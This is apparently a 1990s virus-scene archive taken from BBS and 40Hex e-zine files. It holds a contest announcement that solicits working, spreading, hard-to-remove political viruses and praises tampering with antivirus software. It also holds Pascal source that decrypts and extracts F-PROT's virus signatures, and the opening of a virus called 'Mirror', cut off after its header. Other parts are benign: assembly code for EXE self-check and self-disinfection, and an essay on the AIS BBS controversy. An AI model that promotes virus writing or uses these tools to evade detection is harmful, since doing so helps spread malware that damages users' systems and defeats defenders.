>information to the virus writing community 8-)). Remember, YOU are the one
>that forced the investigation!
There's that word "FORCED" again... This is a hobby people... if
people are not following the rules of your little group you ask
them to leave. You do not invade their privacy and then attempt
to say they "forced" you to do it. Anyone thinking of joining
Virnet in any capacity should continue to follow this thread as
I can assure you it will get much more entertaining here
shortly.
>Bill Dirks
BD>--- Maximus 2.01wb
> * Origin: Safe Hex Central (405)248-0528 Lawton,OK (1:385/17)
QMPro 1.50 03-4821 Blah..........
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
*************************************************************
Announcing
The
Second International Virus Writing Contest
Sponsored by
American Eagle Publications, Inc.
P.O. Box 41401
Tucson, AZ 85717 USA
and
The Crypt Infosystems BBS
+1 (818) 683-0854
*** The Goal ***
The purpose of this contest is to write a fully functional
computer virus that entertains people with political satire.
Viruses will be judged on the basis of originality,
creativity, functionality, and political incorrectness.
*** Eligibility ***
Anyone who can write a computer virus is eligible.
*** Contest Dates ***
The contest is underway from January 1, 1994 until June 30,
1994. Your submissions must be received by June 30 to
qualify. The winner of the contest will be announced at the
DEFCON conference in Las Vegas, July 22-24, 1994. If you can
be present, an official award will be bestowed on you at that
time.
*************************************************************
Details
*************************************************************
The philosopher Friedrik Nietzsche once said that if you want
to kill something, you must laugh at it--and laugh at it
deeply. So there should be little wonder that political
satire is as old as politics itself.
Is there something going on in the political arena that you
abhor, that makes you sick, that is just plain wrong? Well,
here's your chance to make a mockery of it. I've always had
this idea that if someone wrote a sufficiently witty virus
that really addressed the issues the way the people (not the
press, not the politicians) saw them, it might just get
passed around by people voluntarily.
Let's find out.
Write a virus that is itself a political satire. I don't mean
a virus that simply displays a message. I mean a living
entity whose every move--whose every action--is politically
motivated. If you need more than one virus to make your
point--perhaps two viruses working together, or something
like that, that is fine.
-----------------------------------------------------------
Let me give you a simple example: The Political Correctness
Virus
This virus is a spoof on the "political correctness"
movement--which is just a form of self-imposed censorship--
that is sweeping american intellectual circles, particularly
colleges and universities.
This virus is a memory resident boot sector virus which
maintains a list of politically incorrect words on your
computer system. It also hooks the keyboard interrupt and
monitors every keystroke you make. If you type a politically
incorrect word into the computer, the PCV springs into
action.
Politically incorrect words are ranked at three different
offense levels. When the PCV encounters such a word, it
determines what offense level that word is, and acts
accordingly.
The least offensive words merely register a beep. More
offensive words cause a beep to sound for 10 seconds. The
most offensive words cause a siren to sound for two minutes,
locking the system for that duration. If you turn the
computer off before the two minutes are up, the virus will
stop the boot process for five minutes, with sirens, when you
turn it back on. If you allow the siren to complete, then you
can proceed.
The virus has two different word lists, both stored in an
encrypted and compressed format. The list is selected
at random when the system is infected, after which it cannot
be changed. The first list is the "proper" list of
political correctness no-no's. For example, a word like
"sodomite" is among the worst possible offenses. The
second list is an inverted list of no-no's. This list trys
to force you to use "sodomite" by flagging words like "gay"
and "homosexual" as no-no's.
If you allow the PCV to live in your system for three months
without getting a single flag, you are given the supreme
honor of viewing the word list assigned to you and adding a
word to it. If you get more than 3000 flags in a lifetime,
the virus will force you to enter a politically correct word
before allowing you to start the computer, since you are
obviously unwilling to submit to its censorship.
The virus also uses powerful means to prevent disinfection,
so that, once you get it, you can't get rid of it without a
major effort.
------------------------------------------------------------
Now, I know you can get a lot more creative than this--so do
it! Design your virus carefully, so that everything it does
has meaning. Then send it in.
Here are the criteria we'll use:
1. Originality: Your virus must be an original work. Do not
send us anything that is not 100% yours. Your message should
be original too. Do not just ape what everybody else is
saying, especially the media. Also, a refined wit is much
to be preferred over vulgarity. Vulgarity is a substitute for
original wit. Foul language, porn, etc., are out. Destructive
features should be incorporated only if they are VERY
appropriate (perhaps if you are commenting on real live
genocide in your country, or something like that). In
general, though, destructive features will hurt you, not help
you. The one exception is modifying anti-virus programs. That
is considered to be CONstructive activity.
2. Creativity: Make us laugh, make us cry. Amaze us with how
bits and bytes can say something about politics and issues.
Think of it like this: displaying a message on the screen is
like reading a text file. What we want is the equivalent of a
multi-media extrvaganza. Use all the system's resources to
tell your message. Don't be afraid to write a virus that has
some wierd mode of infecting programs that tells a story, or
to write one that sends faxes to the White House, or sends an
automatic request for reams of free information to some
government agency.
3. Functionality: The virus has to work. If it only works on
some machines, or under some versions of DOS, or what-not,
then that will count against you. The better it is at
infecting systems and moving around, the better off you will
be. So, for example, if you write a file-infector, make sure
it can jump directories, and--if you're up to it--migrate
across a network.
4. Political incorrectness: Since computer viruses are
politically incorrect, their message should be too. If you
send us a pro-establishment virus, then you will not win this
contest. A word to the wise: think twice about what's correct
and what's not. Many positions are only superficially
incorrect, though they are really quite fasionable among the
establishment. Look at it this way: if you could get a well-
written letter expressing your view published in a big city
newspaper, then it's not sufficiently incorrect. There are a
LOT of ideas that are unofficially censored by society--
especially the media and academia. They tend to make
themselves out to be the rebels, but they are really the
establishment. If you can't think of anything creatively
incorrect and sufficiently obnoxious then you shouldn't be
writing viruses in the first place.
*************************************************************
How to Submit an Entry
You may mail your entry to American Eagle Publications at the
above address, or you may e-mail it to ameagle@mcimail.com.
Alternatively, you can submit it by dialing the Crypt
Infosystems BBS and uploading it there. To get on to the
system quickly, efficiently and anonymously, log on as VIRUS,
using the password CONTEST.
An entry consists of:
1. A complete copy of your virus, both source and executable
files.
2. If the political satire isn't perfectly obvious, send a
verbal description of how the virus works and why it does
what it does. This is especially important if you are not an
American and you are commenting on something that has
not received worldwide attention. I don't care if you're
Bulgarian and you're commenting on something we've never
heard of--just make sure you explain it, or we won't
understand and you'll lose.
3. If you want to be recognized for your work, include your
name (real or handle), and a way we can get in contact with
you.
By submitting an entry, you grant American Eagle
Publications, Inc. the right to publish your virus in any
form. You agree not to make your virus public prior to July
25, 1994. If you do, you are automatically disqualified from
the contest.
For the sake of privacy, you may encrypt your entry and
send it in with the following PGP key (which we highly
recommend if you have PGP):
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1
mQCNAi09jVgAAAEEAN3M9LFQXeBprkZuKo5NtuMC+82qNd3/8saHLO6iuGe/eUai
8Vx7yqqpyLjZDGbAS7bvobrcY3IyFeu8PXG4T8sd+g81P0AY0PHUqxxPG3COvBfP
oRd+79wB66YCTjKSwd3KVaC7WG/CyXDIX5W6KwCaGL/SFXqRChWdf2BGDUCRAAUR
tApDT05URVNUXzk0
=Z20c
-----END PGP PUBLIC KEY BLOCK-----
Good luck!
****************************************************************
P R I Z E S
In addition to instant worldwide fame and recognition, you'll
get:
1. A cash prize of $100 US.
2. A year's subscription to Computer Virus Developments
Quarterly.
3. Your virus will be published in Computer Virus
Developments Quarterly, and other fine journals.
4. A handsome engraved plaque recognizing your contribution
to the betterment of mankind.
5. A free secret surprise that we cannot tell you about
right now, valued at $100.
Two runner-ups will receive the secret surprise.
*****************************************************************
!! GO FOR IT !!
*****************************************************************
* Beware of [PLURG] *
[EoF]40Hex Number 13 Volume 4 Issue 1 File 002
EXE Self-Disinfection
By Dark Angel of Phalcon/Skism
In the last issue of 40Hex, Demogorgon presented an article on self-
disinfecting COM files. COM file disinfection is simplistic and very
straightforward. In this article, we shall deal with the somewhat more
complex topic of EXE file self-disinfection.
You should already be familiar with the EXE file header and how each of the
fields work. A brief summary follows (a fuller treatment may be found in
40Hex-8.007):
Offset Description
00 'MZ' or 'ZM' EXE signature word
02 Bytes in last page of the image
04 Number of pages in the file
06 Number of relocation items
08 Size of the header in paragraphs
0A Minimum memory required in paragraphs
0C Maximum memory requested in paragraphs
0E Initial SS, offset from header in paragraphs
10 Initial SP
12 Negative checksum (ignored)
14 Initial IP
16 Initial CS, offset from header in paragraphs
18 Offset of relocation table from start of file
1A Overlay number (ignored)
There are several methods which allow a virus to infect an EXE file. The
most common method involves the virus twiddling with the entry point of the
program to point to the virus. Another involves the virus altering the code
at the original entry point to jmp to its own code. A further method
involves the virus simply overwriting the code at the entry point and
storing the original code somewhere else, possibly at the end of the file.
A final method involves altering the structure of the EXE file so it is
instead recognised as a COM file. The ideal self-check routine should be
able to handle all these cases.
Part 1 - Detection
~~~~~~~~~~~~~~~~~~
The strategy for detection is simple; one simply needs to store a copy of
the original header and the first few bytes located at the entry code. When
the program executes, simply check these bytes to those found in the copy
of the program located on the disk. If they differ, then there is clearly
something amiss. This is essentially the same as the process for COM self-
checking, but an extra layer of complexity is added since the header is not
loaded into memory at startup. This minor difficulty may be readily
overcome by simply physically storing the header at some point in the
program.
Since the header is not known before assembling the file, it is necessary
to patch the header into the file after assembly. This may be done rather
easily with a simple utility called 40patch. It will insert the header and
the first 20h (32d) bytes at the entry point of an EXE file at the first
occurence of the string 'Dark Angel eats goat cheese.' in the program. This
string is exactly the length of the header, so be sure to allocate an
additional 20h bytes after the string for the entry point code.
A sample self-checking program follows:
----EXE Self-Check Program 1 begin----
.model small
.radix 16
.code
; Self-Checking EXE 1
; Written by Dark Angel of Phalcon/Skism
; For 40Hex #13
; To assemble: (tested with TASM 2.0)
; tasm <filename>
; tlink <filename>
entry_point: mov ah,51 ; Get current PSP to BX
int 21
mov ds,bx
mov bx,ds:2c ; Search the environment for
mov es,bx ; our own filename. Note that
mov di,1 ; this only works in DOS 3+.
xor ax,ax
dec di ; It also won't work if the
scasw ; environment has been
jnz $ - 2 ; released.
xchg dx,di
inc dx
inc dx
push es ; filename to ds:dx
pop ds
mov ax,3d02 ; unless this handler is
int 21 ; tunneled, a virus may
xchg ax,bx ; infect it
mov ax,_DATA
mov ds,ax ; restore DS and ES
mov es,ax
jc error
mov cx,1c ; check the header for
mov si,offset header ; corruption
call read_buffer
jc close_error
mov ax,4200 ; go to the entry point
xor cx,cx
mov dx,word ptr [header+8]
add dx,word ptr [header+16]
rept 4
shl dx,1
adc cx,0
endm
add dx,word ptr [header+14] ; add this to the entry point
adc cx,0 ; offset from header
int 21
jc close_error
mov cx,20 ; now check the first 32 bytes
mov si,offset first20 ; for corruption
call read_buffer
jc close_error
close_error: pushf
mov ah,3e ; close the file
int 21
popf
jc error
mov dx,offset good ; In an actual program, replace
; this line with a JMP to the
jmp short $+5 ; program entry point
error: mov dx,offset bad
mov ah,9
int 21
mov ax,4c00
int 21
read_buffer: mov ah,3f
mov dx,offset readbuffer
int 21
jc error_read
clc
cmp ax,cx
jnz error_read
xchg dx,di
rep cmpsb
clc
jz $+3
error_read: stc
ret
.data
good db 'Self-check passed with flying colours.',0Dh,0A,'$'
bad db 'Self-check failed. Program may be infected!'
db 0Dh,0A,'$'
;0123456789ABCDEF0123456789AB
header db 'Dark Angel eats goat cheese.'
first20 db 20 dup (0)
readbuffer db 20 dup (?)
.stack
db 100 dup (?)
end entry_point
----EXE Self-Check Program 1 end----
----40patch begin----
.model tiny
.code
.radix 16
org 100
; 40patch
; Written by Dark Angel of Phalcon/Skism
; For 40Hex #13
; To assemble: (tested with TASM 2.0)
; tasm /m 40patch
; tlink /t 40patch
; Syntax:
; 40patch filename.exe
; 40patch will take the executable <filename.exe> and patch in the
; header and the first 32d bytes at the entry point in the first
; occurence of the string 'Dark Angel eats goat cheese.' in the
; executable.
patch: mov ah,9
mov dx,offset welcome
int 21
mov si,82
back: lodsb
cmp al,0dh
jnz back
dec si
xchg si,di
mov byte ptr [di],0
mov dx,82
mov ax,3d02
int 21
xchg ax,bx
jnc open_okay
mov si,offset extension
movsw
movsw
movsb
mov dx,82
mov ax,3d02
int 21
xchg ax,bx
jnc open_okay
mov dx,offset syntax
error: mov ah,9
int 21
mov ax,4c01
int 21
open_okay: mov ah,3f
mov cx,1c
mov dx,offset header
int 21
mov ah,3f
mov cx,20
mov dx,offset scratchbuffer
int 21
find_signature: xor ax,ax
mov di,offset scratchbuffer + 20
mov cx,(100 - 20) / 2
rep stosw
mov ah,3f
mov cx,100 - 20
mov dx,offset scratchbuffer + 20
int 21
or ax,ax
jz signature_not_found
add ax,offset scratchbuffer - signature_length + 20
xchg bp,ax
mov ax,'aD'
mov di,offset scratchbuffer
try_again: scasw
jz signature_check
dec di
cmp di,bp
ja try_next_bytes
jmp short try_again
signature_check:mov si,offset signature + 2
mov cx,signature_length - 2
rep cmpsb
jz signature_found
jmp short try_again
try_next_bytes: mov si,offset scratchbuffer + 100 - 20
mov di,offset scratchbuffer
mov cx,10
rep movsw
jmp short find_signature
signature_not_found:
mov dx,offset no_signature
jmp short error
signature_found:sub di,bp
sub di,1c * 2
xchg dx,di
or cx,-1
mov ax,4201
int 21
mov ah,40
mov dx,offset header
mov cx,1c
int 21
mov ax,4201
xor cx,cx
cwd
int 21
push dx ax
mov ax,4200 ; go to the entry point
xor cx,cx
mov dx,word ptr [header+8]
add dx,word ptr [header+16]
rept 4
shl dx,1
adc cx,0
endm
add dx,word ptr [header+14]
adc cx,0
int 21
mov ah,3f
mov dx,offset first20
mov cx,20
int 21
pop dx cx
mov ax,4200
int 21
mov ah,40
mov dx,offset first20
mov cx,20
int 21
mov ah,3e
int 21
mov ah,9
mov dx,offset graceful_exit
int 21
mov ax,4c00
int 21
welcome db '40patch',0Dh,0A,'$'
graceful_exit db 'Completed!',0Dh,0A,'$'
syntax db 'Syntax:',0Dh,0A,' 40patch filename.exe',0Dh,0A,'$'
no_signature db 'Error: Signature not found.',0Dh,0A,'$'
extension db '.EXE',0
signature db 'Dark Angel eats goat cheese.'
signature_length = $ - signature
header db 1c dup (?)
first20 db 20 dup (?)
scratchbuffer db 100 dup (?)
end patch
----40patch end----
To test out the programs above, first assemble them both. Next, run 40patch
on the EXE file. If the EXE file is -subsequently- altered in any way, then
it will alert the user of the problem. Note that this will do nothing for a
program that is infected prior to 40patching, so be sure to run it on a
clean system.
This simple self-checking mechanism won't catch spawning viruses. However,
it is trivial to add such a check.
Part 2 - Disinfection
~~~~~~~~~~~~~~~~~~~~~
Usual methods (for there are many oddball variants) of infecting an EXE
file involve appending the virus code to the end of the executable. With
this knowledge in hand, it is sometimes possible to reconstruct an infected
EXE file without too much difficulty. A simple modification of the previous
program will suffice:
----EXE Self-Check Program 2 begin----
.model small
.radix 16
.code
; Self-Checking EXE 2
; Written by Dark Angel of Phalcon/Skism
; For 40Hex #13
; To assemble: (tested with TASM 2.0)
; tasm <filename>
; tlink <filename>
entry_point: mov ah,51 ; Get current PSP to BX
int 21
mov ds,bx
mov bx,ds:2c ; Search the environment for
mov es,bx ; our own filename. Note that
mov di,1 ; this only works in DOS 3+.
xor ax,ax
dec di ; It also won't work if the
scasw ; environment has been
jnz $ - 2 ; released.
xchg dx,di
inc dx
inc dx
push es ; filename to ds:dx
pop ds
mov ax,3d02 ; unless this handler is
int 21 ; tunneled, a virus may
xchg ax,bx ; infect it
mov ax,_DATA
mov ds,ax ; restore DS and ES
mov es,ax
mov errorcount,0
mov cx,1c ; check the header for
mov si,offset header ; corruption
call read_buffer
mov ax,4200 ; go to the entry point
xor cx,cx
mov dx,word ptr [header+8]
add dx,word ptr [header+16]
rept 4
shl dx,1
adc cx,0
endm
add dx,word ptr [header+14] ; add this to the entry point
adc cx,0 ; offset from header
int 21
mov cx,20 ; now check the first 32 bytes
mov si,offset first20 ; for corruption
call read_buffer
mov ah,3e ; close the file
int 21
mov dx,offset good
cmp errorcount,0
jz $+5
mov dx,offset errors
mov ah,9
int 21
mov ax,4c00
int 21
read_buffer: mov ah,3f
mov dx,offset readbuffer
int 21
jc error_read
clc
cmp ax,cx
jnz error_read
xchg dx,di
mov bp,si
rep cmpsb
jz read_buffer_ok
push ax
xchg ax,dx
neg dx
or cx,-1
mov ax,4201
int 21
mov ah,40
xchg bp,dx
pop cx
int 21
mov dx,offset bad
inc errorcount
jmp short $+5
error_read: mov dx,offset read_error
mov ah,9
int 21
read_buffer_ok: ret
.data
good db 'Self-check passed.',0Dh,0A,'$'
errors db 'Errors were detected.',0Dh,0A,'$'
bad db 'Self-check failed. Fixing (may not work).'
db 0Dh,0A,'$'
read_error db 'Error reading file.',0Dh,0A,'$'
;0123456789ABCDEF0123456789AB
header db 'Dark Angel eats goat cheese.'
first20 db 20 dup (0)
readbuffer db 20 dup (?)
errorcount db ?
.stack
db 100 dup (?)
end entry_point
----EXE Self-Check Program 2 end----
Summary
~~~~~~~
In general, it is poor practise to rely upon self-disinfection. The ancient
(!) adage 'restore from backups' is best followed upon the discovery of an
infection. However, it is helpful for programs to have a degree of self-
awareness in order to alert the user of a virus's presence before it has a
chance to spread too far. Disinfection will allow the user to continue
using some programs (under certain circumstances) without fear of further
spreading the virus.
40Hex Number 13 Volume 4 Issue 1 File 003
===============================================================================
Extracting virus signatures from F-PROT
by Peter Vincent
The program included here does just that: Extracts signatures used by the
notorious anti-virus product F-PROT. Before we get to the code though, there
are a couple of things that need to be said.
There are two sets of signatures used in F-PROT. One is used by F-PROT.EXE,
and is included in a file named SIGN.DEF, while the other is used by
VIRSTOP.EXE and is included in VIRSTOP.EXE itself.
A virus signature is defined as a sequence of hex bytes, which can also include
one or more wildcards. A wildcard, represented here as "??", matches any given
hex byte. F-PROT does not use wildcards that can match more than one byte.
Note that F-PROT defines at least two different signatures for each virus.
This is apparently aimed at better identification of viruses. Also, the search
algorithm used ignores any hex bytes of value 90 or CC. This means that code
that contains a F-PROT signature with some of these bytes inserted into it will
still match the signature. In addition to signatures for detecting known
viruses, there are a few other signatures included that can presumably detect
some unknown viruses. These signatures are named as "unknown".
How to extract signatures from F-PROT: easy as 1-2-3. Extract the source code
included here and store it to a file named GETFP211.PAS. Compile this program
with Turbo Pascal (version 4.0 or later). Copy SIGN.DEF and VIRSTOP.EXE from
F-PROT distribution to the default DOS directory, and run GETFP211. On
successful completion, two text files will be created: F-PROT.STR and
VIRSTOP.STR. They will contain the signatures found in SIGN.DEF and
VIRSTOP.EXE, respectively. Each line of these files will contain a signature,
and the corresponding virus name on every line. VIRSTOP signatures for boot
sector viruses are not included. The program has been tested to work
successfully with F-PROT 2.11; it might or might not work with future versions
if they change the formats.
The internal format used by F-PROT to store signatures can be easily retrieved
by reading the source code by any knowledgeable programmer.
And now for the source code:
--- Begin GETFP211.PAS --------------------------------------------------------
{
GETFP211.PAS: Extract virus signatures from F-PROT version 2.11.
This program is in the Public Domain. Courtesy of Peter Vincent.
}
{$i-,r-}
program getfpstr;
type ba = array[0..$fffe] of byte;
wa = array[0..$7ffe] of word;
bp = ^ba;
wp = ^wa;
function alloc(i: word): pointer;
var p: pointer;
begin
if maxavail < i then begin
writeln('Error: Not enough memory.');
halt(1);
end;
getmem(p,i);
alloc := p
end;
procedure writesig(var f: text; var s, name: string; x: char);
const hexstr: string[16] = '0123456789ABCDEF';
var i: word;
c: char;
begin
for i := 1 to length(s) do begin
c := s[i];
if c = x
then write(f,'?? ')
else write(f,hexstr[ord(c) shr 4+1],hexstr[ord(c) and 15+1],' ');
end;
for i := length(s)*3 to 79-length(name) do write(f,' ');
writeln(f,name);
end;
procedure dovirstop;
var len: longint;
virstop: pointer;
adj: word;
procedure readvirstop;
var f: file;
begin
writeln('Reading VIRSTOP.EXE...');
assign(f,'VIRSTOP.EXE');
reset(f,1);
if ioresult <> 0 then begin
writeln('Error: Cannot open VIRSTOP.EXE.');
halt(1);
end;
len := filesize(f);
if len > $fffe then begin
writeln('Error: VIRSTOP.EXE too big.');
halt(1);
end;
virstop := alloc(len);
blockread(f,virstop^,len);
if ioresult <> 0 then begin
writeln('Error: Cannot read VIRSTOP.EXE.');
halt(1);
end;
close(f);
case wp(virstop)^[0] of
$5a4d, $4d5a: else begin
writeln('Error: VIRSTOP.EXE is invalid.');
halt(1);
end;
end;
adj := wp(virstop)^[4]*16
end;
procedure writesigs;
var i,j,k,l,startpos,endpos,sigcnt: word;
found: boolean;
f: text;
buf: array[0..2047] of byte;
sig, name: string;
procedure chkioerr;
begin
if ioresult <> 0 then begin
writeln('Error: Cannot write to VIRSTOP.STR.');
halt(1);
end;
end;
begin
found := false;
j := 0;
k := 0;
for i := 0 to len-1 do
if chr(bp(virstop)^[i]) = '$' then begin
if i-j > 30
then
if found
then begin
endpos := j-adj;
i := len-1;
end else startpos := i-adj-30
else
if not found then begin
inc(k);
if k = 20 then inc(found);
end;
j := i;
end;
sigcnt := 0;
if found then
for i := 0 to len-1 do begin
j := i;
k := 0;
found := true;
while found do begin
l := bp(virstop)^[j];
if (l-1 > 24) or (wp(@bp(virstop)^[j+l+1])^[0]-startpos > endpos)
then dec(found)
else begin
inc(k);
inc(j,l+3);
end;
end;
if k >= 20 then begin
if sigcnt = 0 then begin
writeln('Writing VIRSTOP.STR...');
assign(f,'VIRSTOP.STR');
settextbuf(f,buf,sizeof(buf));
rewrite(f);
chkioerr;
end;
k := i;
repeat
sig := '';
for l := bp(virstop)^[k] downto 1 do begin
inc(sig[0]);
sig[length(sig)] := chr(bp(virstop)^[k+l]);
end;
inc(k,bp(virstop)^[k]+3);
name := '';
l := wp(@bp(virstop)^[k-2])^[0]+adj;
while chr(bp(virstop)^[l]) <> '$' do begin
inc(name[0]);
name[length(name)] := chr(bp(virstop)^[l]);
inc(l);
end;
writesig(f,sig,name,#$fe);
chkioerr;
inc(sigcnt);
until k = j;
writeln(f);
chkioerr;
i := k;
end;
end;
if sigcnt <> 0 then begin
close(f);
chkioerr;
writeln(sigcnt,' signatures found in VIRSTOP.EXE.');
end else writeln('Error: No signatures found in VIRSTOP.EXE.');
end;
begin
readvirstop;
writesigs;
freemem(virstop,len);
end;
procedure dosigndef;
var sigs, nameidx, names: pointer;
procedure readsigndef;
var f: file;
date: record
y: word;
d,m: byte
end;
procedure chkioerr;
begin
if ioresult <> 0 then begin
writeln('Error: Cannot read SIGN.DEF.');
halt(1);
end;
end;
procedure checksigndef;
var buf: array[0..4095] of byte;
i: word;
l,c0,c1: longint;
function rol(l: longint): longint;
begin
rol := l shl 1 or l shr 31
end;
begin
l := filesize(f)-4;
c0 := 0;
repeat
c1 := 0;
i := sizeof(buf);
if l < i then i := l;
blockread(f,buf,i);
chkioerr;
dec(l,i);
for i := 0 to i-1 do c1 := rol(c1) xor buf[i];
c0 := c0 xor c1;
until l = 0;
blockread(f,c1,sizeof(c1));
chkioerr;
if c0 <> c1 then begin
writeln('Error: SIGN.DEF has an invalid checksum.');
halt(1);
end;
end;
procedure readsigs;
const frisk: string[15] = 'Copyright (c) F';
var l: longint;
i,c: word;
x: byte;
function ror(x: byte): byte;
begin
ror := x shr 1 or x shl 7;
end;
begin
seek(f,0);
blockread(f,l,sizeof(l));
chkioerr;
seek(f,l+4);
blockread(f,i,sizeof(i));
chkioerr;
sigs := alloc(i-8);
blockread(f,sigs^,i-8);
chkioerr;
c := -wp(@bp(sigs)^[i-10])^[0];
for i := 0 to i-11 do begin
x := not ror(bp(sigs)^[i]) xor ord(frisk[i mod 100 mod 15+1]);
x := x xor i mod 100;
bp(sigs)^[i] := x;
inc(c,x xor i mod 100)
end;
if c <> 0 then begin
writeln('Error: Invalid signatures checksum.');
halt(1);
end;
end;
procedure readnames;
var i: word;
begin
blockread(f,i,sizeof(i));
chkioerr;
nameidx := alloc(i*2);
blockread(f,nameidx^,i*2);
chkioerr;
i := filesize(f)-filepos(f)-4;
names := alloc(i);
blockread(f,names^,i);
chkioerr;
date.y := not wp(@bp(names)^[i-4])^[0];
date.d := not bp(names)^[i-2];
date.m := not bp(names)^[i-1];
end;
begin
writeln('Reading SIGN.DEF...');
assign(f,'SIGN.DEF');
reset(f,1);
if ioresult <> 0 then begin
writeln('Error: Cannot open SIGN.DEF.');
halt(1);
end;
checksigndef;
readsigs;
readnames;
writeln('Signatures created ',date.m,'-',date.d,'-',date.y);
close(f);
end;
procedure writesigs;
var buf: array[0..2047] of byte;
i,sigcnt: word;
f: text;
sig, name: string;
procedure chkioerr;
begin
if ioresult <> 0 then begin
writeln('Error: Cannot write to F-PROT.STR.');
halt(1);
end;
end;
procedure extract(n: word);
var i,j,k: word;
begin
inc(sig[0]);
for i := 1 to bp(sigs)^[n] do begin
sig[length(sig)] := chr(bp(sigs)^[n+i+1]);
j := wp(@bp(sigs)^[n+bp(sigs)^[n]])^[i];
if i > bp(sigs)^[n+1]
then extract(j-8)
else begin
inc(j,512);
for k := bp(sigs)^[j] downto 1 do begin
inc(sig[0]);
sig[length(sig)] := chr(bp(sigs)^[j+k]);
end;
k := wp(@bp(sigs)^[j+bp(sigs)^[j]+1])^[0];
if k = 0 then
name := 'unknown'
else begin
k := wp(nameidx)^[k-1];
name := '';
while bp(names)^[k] <> 0 do begin
inc(name[0]);
name[length(name)] := chr(bp(names)^[k]);
inc(k);
end;
end;
writesig(f,sig,name,#$90);
chkioerr;
dec(sig[0],bp(sigs)^[j]);
inc(sigcnt);
end;
end;
dec(sig[0]);
end;
begin
writeln('Writing F-PROT.STR...');
assign(f,'F-PROT.STR');
settextbuf(f,buf,sizeof(buf));
rewrite(f);
chkioerr;
sigcnt := 0;
for i := 0 to 255 do begin
sig := chr(i);
if wp(sigs)^[i] >= 512 then extract(wp(sigs)^[i]-8);
end;
writeln(f);
chkioerr;
close(f);
chkioerr;
writeln(sigcnt,' signatures found in SIGN.DEF.');
end;
begin
readsigndef;
writesigs;
end;
begin
dovirstop;
dosigndef;
writeln('Done.');
end.
--- End GETFP211.PAS ----------------------------------------------------------
<<< end of file >>>
40Hex Number 13 Volume 4 Issue 1 File 004
-------------------------------------------------------------------------
In 40Hex Number 12 Volume 3 Issue 3, Geoff Heap authored a commentary
concerning the Department of Treasury's (Bureau of Public Debt) AIS
Bulletin Board System, which was at the core of a controversy
concerning the United States Government's role in computer information
systems.
Heap wrote:
> [Not so] Recently, the AIS BBS was shut down because of an anonymous
> letter which stated that the AIS BBS contained and distributed virus
> source code and helped system hackers develop and test malicious
> programs.
While the AIS system did indeed contribute to fruitful research into
malicious programs, computer viruses and the like, the immediate
controversy surrounding its role as a representative of a United
States government resource became apparent. Particular questions began
to surface:
o What was the purpose of this system?
o Were computer viruses, virus source code and other malicious
software being made available to those who could, in turn, use them
for damaging or unethical purposes?
o Was this system officially sanctioned by the Department of Treasury?
If so, what was its official policy on the operation of this system?
o Should the United States government, in any capacity, be operating a
system such as AIS?
In fact, the questions are too numerous to list, and the answers to
them are subjective to personal opinion.
Heap went on to write:
> The Bureau of Public Debt has little to do with protecting our
> country, and in regards to viruses, there is no agency who can protect
> you from viruses. There is however a way you can protect yourselves.
> It is through awareness that you can protect your data from the damages
> incurred by malicious intent. The same awareness that the Bureau of
> Public Debt was trying to make publicly available on AIS BBS. Before
> the government did it, everyone else had already done it. This fact may
> alarm some people, but I would estimate that there are well over 200
> other systems in the United States alone that currently distribute virus
> code to people who very well could end up distributing it to other
> people without their consent. I am a tax paying citizen of the USA, and
> I know I would rather hear that we spend a couple hundred dollars
> educating the public on computer viruses then hear about the thousands
> of dollars in damage done by miscellaneous computer viruses that hit
> companies and wipe out all their data. By closing down AIS BBS, the
> door for virus writers to obtain virus source remains wide open, while
> the people who could find the information valuable, if not necessary for
> their jobs, just had the only door open to them slammed shut and locked,
> maybe forever. It is hard to tell who hurts us more - Those who make it
> harder for computer users to protect themselves, or those who sit in
> blind ignorance.
Heap expresses some valid points in the above paragraph, however, much
of his sentiment is subjective opinion. While there are many private
systems scattered throughout the digital landscape that do make
malicious programs, viruses, stolen credit card information and other
controversial or illegal data available on-line, the AIS system
represented the first system established and apparently advocated by
the United States government. (Although stolen credit card numbers are
among the wares of many underground bulletin board systems, this was
never one of the issues surrounding the AIS system.)
The controversy surrounding the ethical issues of the AIS system are
equally subjective, in fact, academic. The core issue, in my own
subjective opinion, is whether the United States government has any
business dabbling in that area to begin with.
We, as a digital society, are standing on the threshold of a brave new
world in telecommunications. Within our generation, we will witness
the doors of the digital highways of the world opening to more and
more people every day, from school children to genetic scientists to
commercial and corporate conglomerates. It will touch all of our lives
and make the world a much smaller place.
The current political administration in the United States has
recognized this, and has established their own policy on the "National
Information Infrastructure," more commonly recognized by the acronym
NII. While the impact and effects of the United States government's
policies concerning the NII are yet to be determined, many still
believe that participation of government in any capacity within the
digital frontier can only lead to mismanagement, bureaucracy and
abuses witnessed in other governmental agencies. Also, there are
darker issues to consider, such as government-sponsored intelligentsia
and encryption and privacy issues. All in all, many believe that the
NII will lead to a new era in Big Brother for the 21st century.
The intents and conceptions of the AIS may have been noble and
genuine; I believe this to be the case. In fact, I commend Kim Clancy
(who was the administrator of the AIS system) on her efforts in the
computer and telecommunications security arena. To understand,
research and educate on the topic alone merits commendation. There
are, however, digital boundaries between "a good thing" and
government sponsorship. Government influence or sponsorship always
raises red flags in cyberspace. That's just the nature of the beast.
Combine this with the fact that malicious software was possibly being
provided by the AIS system, and you've got a political hot potato.
The bottom line remains in question. No one argues the need for the
ability to understand the nature of malicious software, nor the need
for computer users to protect themselves. This argument is ludicrous.
The argument remains, however, on the need or validity for the United
States government to operate a system which may contribute to the
existing problem.
Disclaimer: Opinions expressed above are my individual views and do not
reflect the opinions of US Sprint, nor are they intended to
be construed as such.
________________________________________________________________________
Paul Ferguson
Internet Engineer
US Sprint
Herndon, Virginia USA internet: ferguson@icp.net
8<-------------------- cut here -----------------------------------------
Paul Ferguson is currently an Internet Engineer for US Sprint in
Herndon, Virginia. He has consulted in computer network and
telecommunications technologies for numerous government agencies and
corporations including NASA and Computer Sciences Corporation. Ferguson
also previously indicated that he was the person who anonymously posted
a message to the Usenet Newsgroup RISKS, which triggered the AIS Bulletin
Board controversy. He can be reached on the Internet at ferguson@icp.net.
40Hex Number 13 Volume 4 Issue 1 File 005
8<------------<mirror.asm>--------------------------------------------------->8
;*****************************************************************************;
; ;
; Mirror: ;
; ;
; Mirror is the reverse of Stealth techniques. This virus doesn't hide the ;
; virus, but but let the scanner think every program is infected by the ;
; virus. The virus is also made to work with every exe file that uses ;
; internal overlays, by making all running programs stealth. ;
; ;
;*****************************************************************************;
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
VirusTop equ $
VirusSize equ (VirusEnd - $)
